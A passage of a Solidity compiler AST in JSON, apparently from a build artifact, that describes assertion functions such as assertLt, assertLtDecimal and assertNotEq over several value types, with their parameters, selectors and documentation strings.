tring":"string"},"typeName":{"id":14253,"name":"string","nodeType":"ElementaryTypeName","src":"55141:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"55093:70:13"},"returnParameters":{"id":14256,"nodeType":"ParameterList","parameters":[],"src":"55177:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14267,"nodeType":"FunctionDefinition","src":"55323:84:13","nodes":[],"documentation":{"id":14258,"nodeType":"StructuredDocumentation","src":"55184:134:13","text":"Compares two `int256` values. Expects first value to be less than second.\n Formats values with decimals in failure message."},"functionSelector":"dbe8d88b","implemented":false,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"55332:15:13","parameters":{"id":14265,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14260,"mutability":"mutable","name":"left","nameLocation":"55355:4:13","nodeType":"VariableDeclaration","scope":14267,"src":"55348:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14259,"name":"int256","nodeType":"ElementaryTypeName","src":"55348:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14262,"mutability":"mutable","name":"right","nameLocation":"55368:5:13","nodeType":"VariableDeclaration","scope":14267,"src":"55361:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14261,"name":"int256","nodeType":"ElementaryTypeName","src":"55361:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14264,"mutability":"mutable","name":"decimals","nameLocation":"55383:8:13","nodeType":"VariableDeclaration","scope":14267,"src":"55375:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14263,"name":"uint256","nodeType":"ElementaryTypeName","src":"55375:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"55347:45:13"},"returnParameters":{"id":14266,"nodeType":"ParameterList","parameters":[],"src":"55406:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14279,"nodeType":"FunctionDefinition","src":"55606:107:13","nodes":[],"documentation":{"id":14268,"nodeType":"StructuredDocumentation","src":"55413:188:13","text":"Compares two `int256` values. Expects first value to be less than second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"40f0b4e0","implemented":false,"kind":"function","modifiers":[],"name":"assertLtDecimal","nameLocation":"55615:15:13","parameters":{"id":14277,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14270,"mutability":"mutable","name":"left","nameLocation":"55638:4:13","nodeType":"VariableDeclaration","scope":14279,"src":"55631:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14269,"name":"int256","nodeType":"ElementaryTypeName","src":"55631:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14272,"mutability":"mutable","name":"right","nameLocation":"55651:5:13","nodeType":"VariableDeclaration","scope":14279,"src":"55644:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14271,"name":"int256","nodeType":"ElementaryTypeName","src":"55644:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14274,"mutability":"mutable","name":"decimals","nameLocation":"55666:8:13","nodeType":"VariableDeclaration","scope":14279,"src":"55658:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14273,"name":"uint256","nodeType":"ElementaryTypeName","src":"55658:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14276,"mutability":"mutable","name":"error","nameLocation":"55692:5:13","nodeType":"VariableDeclaration","scope":14279,"src":"55676:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14275,"name":"string","nodeType":"ElementaryTypeName","src":"55676:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"55630:68:13"},"returnParameters":{"id":14278,"nodeType":"ParameterList","parameters":[],"src":"55712:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14287,"nodeType":"FunctionDefinition","src":"55802:61:13","nodes":[],"documentation":{"id":14280,"nodeType":"StructuredDocumentation","src":"55719:78:13","text":"Compares two `uint256` values. Expects first value to be less than second."},"functionSelector":"b12fc005","implemented":false,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"55811:8:13","parameters":{"id":14285,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14282,"mutability":"mutable","name":"left","nameLocation":"55828:4:13","nodeType":"VariableDeclaration","scope":14287,"src":"55820:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14281,"name":"uint256","nodeType":"ElementaryTypeName","src":"55820:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14284,"mutability":"mutable","name":"right","nameLocation":"55842:5:13","nodeType":"VariableDeclaration","scope":14287,"src":"55834:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14283,"name":"uint256","nodeType":"ElementaryTypeName","src":"55834:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"55819:29:13"},"returnParameters":{"id":14286,"nodeType":"ParameterList","parameters":[],"src":"55862:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14297,"nodeType":"FunctionDefinition","src":"56014:84:13","nodes":[],"documentation":{"id":14288,"nodeType":"StructuredDocumentation","src":"55869:140:13","text":"Compares two `uint256` values. Expects first value to be less than second.\n Includes error message into revert string on failure."},"functionSelector":"65d5c135","implemented":false,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"56023:8:13","parameters":{"id":14295,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14290,"mutability":"mutable","name":"left","nameLocation":"56040:4:13","nodeType":"VariableDeclaration","scope":14297,"src":"56032:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14289,"name":"uint256","nodeType":"ElementaryTypeName","src":"56032:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14292,"mutability":"mutable","name":"right","nameLocation":"56054:5:13","nodeType":"VariableDeclaration","scope":14297,"src":"56046:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14291,"name":"uint256","nodeType":"ElementaryTypeName","src":"56046:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14294,"mutability":"mutable","name":"error","nameLocation":"56077:5:13","nodeType":"VariableDeclaration","scope":14297,"src":"56061:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14293,"name":"string","nodeType":"ElementaryTypeName","src":"56061:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"56031:52:13"},"returnParameters":{"id":14296,"nodeType":"ParameterList","parameters":[],"src":"56097:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14305,"nodeType":"FunctionDefinition","src":"56186:59:13","nodes":[],"documentation":{"id":14298,"nodeType":"StructuredDocumentation","src":"56104:77:13","text":"Compares two `int256` values. Expects first value to be less than second."},"functionSelector":"3e914080","implemented":false,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"56195:8:13","parameters":{"id":14303,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14300,"mutability":"mutable","name":"left","nameLocation":"56211:4:13","nodeType":"VariableDeclaration","scope":14305,"src":"56204:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14299,"name":"int256","nodeType":"ElementaryTypeName","src":"56204:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14302,"mutability":"mutable","name":"right","nameLocation":"56224:5:13","nodeType":"VariableDeclaration","scope":14305,"src":"56217:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14301,"name":"int256","nodeType":"ElementaryTypeName","src":"56217:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"56203:27:13"},"returnParameters":{"id":14304,"nodeType":"ParameterList","parameters":[],"src":"56244:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14315,"nodeType":"FunctionDefinition","src":"56395:82:13","nodes":[],"documentation":{"id":14306,"nodeType":"StructuredDocumentation","src":"56251:139:13","text":"Compares two `int256` values. Expects first value to be less than second.\n Includes error message into revert string on failure."},"functionSelector":"9ff531e3","implemented":false,"kind":"function","modifiers":[],"name":"assertLt","nameLocation":"56404:8:13","parameters":{"id":14313,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14308,"mutability":"mutable","name":"left","nameLocation":"56420:4:13","nodeType":"VariableDeclaration","scope":14315,"src":"56413:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14307,"name":"int256","nodeType":"ElementaryTypeName","src":"56413:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14310,"mutability":"mutable","name":"right","nameLocation":"56433:5:13","nodeType":"VariableDeclaration","scope":14315,"src":"56426:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14309,"name":"int256","nodeType":"ElementaryTypeName","src":"56426:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14312,"mutability":"mutable","name":"error","nameLocation":"56456:5:13","nodeType":"VariableDeclaration","scope":14315,"src":"56440:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14311,"name":"string","nodeType":"ElementaryTypeName","src":"56440:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"56412:50:13"},"returnParameters":{"id":14314,"nodeType":"ParameterList","parameters":[],"src":"56476:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14325,"nodeType":"FunctionDefinition","src":"56590:89:13","nodes":[],"documentation":{"id":14316,"nodeType":"StructuredDocumentation","src":"56483:102:13","text":"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message."},"functionSelector":"669efca7","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"56599:18:13","parameters":{"id":14323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14318,"mutability":"mutable","name":"left","nameLocation":"56626:4:13","nodeType":"VariableDeclaration","scope":14325,"src":"56618:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14317,"name":"uint256","nodeType":"ElementaryTypeName","src":"56618:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14320,"mutability":"mutable","name":"right","nameLocation":"56640:5:13","nodeType":"VariableDeclaration","scope":14325,"src":"56632:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14319,"name":"uint256","nodeType":"ElementaryTypeName","src":"56632:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14322,"mutability":"mutable","name":"decimals","nameLocation":"56655:8:13","nodeType":"VariableDeclaration","scope":14325,"src":"56647:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14321,"name":"uint256","nodeType":"ElementaryTypeName","src":"56647:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"56617:47:13"},"returnParameters":{"id":14324,"nodeType":"ParameterList","parameters":[],"src":"56678:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14337,"nodeType":"FunctionDefinition","src":"56854:112:13","nodes":[],"documentation":{"id":14326,"nodeType":"StructuredDocumentation","src":"56685:164:13","text":"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message.\n Includes error message into revert string on failure."},"functionSelector":"f5a55558","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"56863:18:13","parameters":{"id":14335,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14328,"mutability":"mutable","name":"left","nameLocation":"56890:4:13","nodeType":"VariableDeclaration","scope":14337,"src":"56882:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14327,"name":"uint256","nodeType":"ElementaryTypeName","src":"56882:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14330,"mutability":"mutable","name":"right","nameLocation":"56904:5:13","nodeType":"VariableDeclaration","scope":14337,"src":"56896:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14329,"name":"uint256","nodeType":"ElementaryTypeName","src":"56896:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14332,"mutability":"mutable","name":"decimals","nameLocation":"56919:8:13","nodeType":"VariableDeclaration","scope":14337,"src":"56911:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14331,"name":"uint256","nodeType":"ElementaryTypeName","src":"56911:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14334,"mutability":"mutable","name":"error","nameLocation":"56945:5:13","nodeType":"VariableDeclaration","scope":14337,"src":"56929:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14333,"name":"string","nodeType":"ElementaryTypeName","src":"56929:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"56881:70:13"},"returnParameters":{"id":14336,"nodeType":"ParameterList","parameters":[],"src":"56965:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14347,"nodeType":"FunctionDefinition","src":"57078:87:13","nodes":[],"documentation":{"id":14338,"nodeType":"StructuredDocumentation","src":"56972:101:13","text":"Asserts that two `int256` values are not equal, formatting them with decimals in failure message."},"functionSelector":"14e75680","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"57087:18:13","parameters":{"id":14345,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14340,"mutability":"mutable","name":"left","nameLocation":"57113:4:13","nodeType":"VariableDeclaration","scope":14347,"src":"57106:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14339,"name":"int256","nodeType":"ElementaryTypeName","src":"57106:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14342,"mutability":"mutable","name":"right","nameLocation":"57126:5:13","nodeType":"VariableDeclaration","scope":14347,"src":"57119:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14341,"name":"int256","nodeType":"ElementaryTypeName","src":"57119:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14344,"mutability":"mutable","name":"decimals","nameLocation":"57141:8:13","nodeType":"VariableDeclaration","scope":14347,"src":"57133:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14343,"name":"uint256","nodeType":"ElementaryTypeName","src":"57133:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"57105:45:13"},"returnParameters":{"id":14346,"nodeType":"ParameterList","parameters":[],"src":"57164:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14359,"nodeType":"FunctionDefinition","src":"57339:110:13","nodes":[],"documentation":{"id":14348,"nodeType":"StructuredDocumentation","src":"57171:163:13","text":"Asserts that two `int256` values are not equal, formatting them with decimals in failure message.\n Includes error message into revert string on failure."},"functionSelector":"33949f0b","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEqDecimal","nameLocation":"57348:18:13","parameters":{"id":14357,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14350,"mutability":"mutable","name":"left","nameLocation":"57374:4:13","nodeType":"VariableDeclaration","scope":14359,"src":"57367:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14349,"name":"int256","nodeType":"ElementaryTypeName","src":"57367:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14352,"mutability":"mutable","name":"right","nameLocation":"57387:5:13","nodeType":"VariableDeclaration","scope":14359,"src":"57380:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14351,"name":"int256","nodeType":"ElementaryTypeName","src":"57380:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14354,"mutability":"mutable","name":"decimals","nameLocation":"57402:8:13","nodeType":"VariableDeclaration","scope":14359,"src":"57394:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14353,"name":"uint256","nodeType":"ElementaryTypeName","src":"57394:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14356,"mutability":"mutable","name":"error","nameLocation":"57428:5:13","nodeType":"VariableDeclaration","scope":14359,"src":"57412:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14355,"name":"string","nodeType":"ElementaryTypeName","src":"57412:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"57366:68:13"},"returnParameters":{"id":14358,"nodeType":"ParameterList","parameters":[],"src":"57448:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14367,"nodeType":"FunctionDefinition","src":"57509:58:13","nodes":[],"documentation":{"id":14360,"nodeType":"StructuredDocumentation","src":"57455:49:13","text":"Asserts that two `bool` values are not equal."},"functionSelector":"236e4d66","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"57518:11:13","parameters":{"id":14365,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14362,"mutability":"mutable","name":"left","nameLocation":"57535:4:13","nodeType":"VariableDeclaration","scope":14367,"src":"57530:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14361,"name":"bool","nodeType":"ElementaryTypeName","src":"57530:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":14364,"mutability":"mutable","name":"right","nameLocation":"57546:5:13","nodeType":"VariableDeclaration","scope":14367,"src":"57541:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14363,"name":"bool","nodeType":"ElementaryTypeName","src":"57541:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"57529:23:13"},"returnParameters":{"id":14366,"nodeType":"ParameterList","parameters":[],"src":"57566:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14377,"nodeType":"FunctionDefinition","src":"57684:81:13","nodes":[],"documentation":{"id":14368,"nodeType":"StructuredDocumentation","src":"57573:106:13","text":"Asserts that two `bool` values are not equal and includes error message into revert string on failure."},"functionSelector":"1091a261","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"57693:11:13","parameters":{"id":14375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14370,"mutability":"mutable","name":"left","nameLocation":"57710:4:13","nodeType":"VariableDeclaration","scope":14377,"src":"57705:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14369,"name":"bool","nodeType":"ElementaryTypeName","src":"57705:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":14372,"mutability":"mutable","name":"right","nameLocation":"57721:5:13","nodeType":"VariableDeclaration","scope":14377,"src":"57716:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14371,"name":"bool","nodeType":"ElementaryTypeName","src":"57716:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":14374,"mutability":"mutable","name":"error","nameLocation":"57744:5:13","nodeType":"VariableDeclaration","scope":14377,"src":"57728:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14373,"name":"string","nodeType":"ElementaryTypeName","src":"57728:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"57704:46:13"},"returnParameters":{"id":14376,"nodeType":"ParameterList","parameters":[],"src":"57764:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14385,"nodeType":"FunctionDefinition","src":"57827:80:13","nodes":[],"documentation":{"id":14378,"nodeType":"StructuredDocumentation","src":"57771:51:13","text":"Asserts that two `string` values are not equal."},"functionSelector":"6a8237b3","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"57836:11:13","parameters":{"id":14383,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14380,"mutability":"mutable","name":"left","nameLocation":"57864:4:13","nodeType":"VariableDeclaration","scope":14385,"src":"57848:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14379,"name":"string","nodeType":"ElementaryTypeName","src":"57848:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14382,"mutability":"mutable","name":"right","nameLocation":"57886:5:13","nodeType":"VariableDeclaration","scope":14385,"src":"57870:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14381,"name":"string","nodeType":"ElementaryTypeName","src":"57870:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"57847:45:13"},"returnParameters":{"id":14384,"nodeType":"ParameterList","parameters":[],"src":"57906:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14395,"nodeType":"FunctionDefinition","src":"58026:103:13","nodes":[],"documentation":{"id":14386,"nodeType":"StructuredDocumentation","src":"57913:108:13","text":"Asserts that two `string` values are not equal and includes error message into revert string on failure."},"functionSelector":"78bdcea7","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"58035:11:13","parameters":{"id":14393,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14388,"mutability":"mutable","name":"left","nameLocation":"58063:4:13","nodeType":"VariableDeclaration","scope":14395,"src":"58047:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14387,"name":"string","nodeType":"ElementaryTypeName","src":"58047:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14390,"mutability":"mutable","name":"right","nameLocation":"58085:5:13","nodeType":"VariableDeclaration","scope":14395,"src":"58069:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14389,"name":"string","nodeType":"ElementaryTypeName","src":"58069:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14392,"mutability":"mutable","name":"error","nameLocation":"58108:5:13","nodeType":"VariableDeclaration","scope":14395,"src":"58092:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14391,"name":"string","nodeType":"ElementaryTypeName","src":"58092:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"58046:68:13"},"returnParameters":{"id":14394,"nodeType":"ParameterList","parameters":[],"src":"58128:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14403,"nodeType":"FunctionDefinition","src":"58190:78:13","nodes":[],"documentation":{"id":14396,"nodeType":"StructuredDocumentation","src":"58135:50:13","text":"Asserts that two `bytes` values are not equal."},"functionSelector":"3cf78e28","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"58199:11:13","parameters":{"id":14401,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14398,"mutability":"mutable","name":"left","nameLocation":"58226:4:13","nodeType":"VariableDeclaration","scope":14403,"src":"58211:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":14397,"name":"bytes","nodeType":"ElementaryTypeName","src":"58211:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":14400,"mutability":"mutable","name":"right","nameLocation":"58247:5:13","nodeType":"VariableDeclaration","scope":14403,"src":"58232:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":14399,"name":"bytes","nodeType":"ElementaryTypeName","src":"58232:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"58210:43:13"},"returnParameters":{"id":14402,"nodeType":"ParameterList","parameters":[],"src":"58267:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14413,"nodeType":"FunctionDefinition","src":"58386:101:13","nodes":[],"documentation":{"id":14404,"nodeType":"StructuredDocumentation","src":"58274:107:13","text":"Asserts that two `bytes` values are not equal and includes error message into revert string on failure."},"functionSelector":"9507540e","implemented":false,"kind":"function","modifiers":[],"name":"assertNotEq","nameLocation":"58395:11:13","parameters":{"id":14411,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14406,"mutability":"mutable","name":"left","nameLocation":"58422:4:13","nodeType":"VariableDeclaration","scope":14413,"src":"58407:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":14405,"name":"bytes","nodeType":"ElementaryTypeName","src":"58407:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":14408,"mutability":"mutable","name":"right","nameLocation":"58443:5:13","nodeType":"VariableDeclaration","scope":14413,"src":"58428:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":14407,"name":"bytes","nodeType":"ElementaryTypeName","src":"58428:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":14410,"mutability":"mutable","name":"error","nameLocation":"58466:5:13","nodeType":"VariableDeclaration","scope":14413,"src":"58450:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14409,"name":"string","nodeType":"ElementaryTypeName","src":"58450:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"58406:66:13"},"returnParameters":{"id":14412,"nodeType":"ParameterList","parameters":[],"src":"58486:0:13"},"scope":15098,"stateMut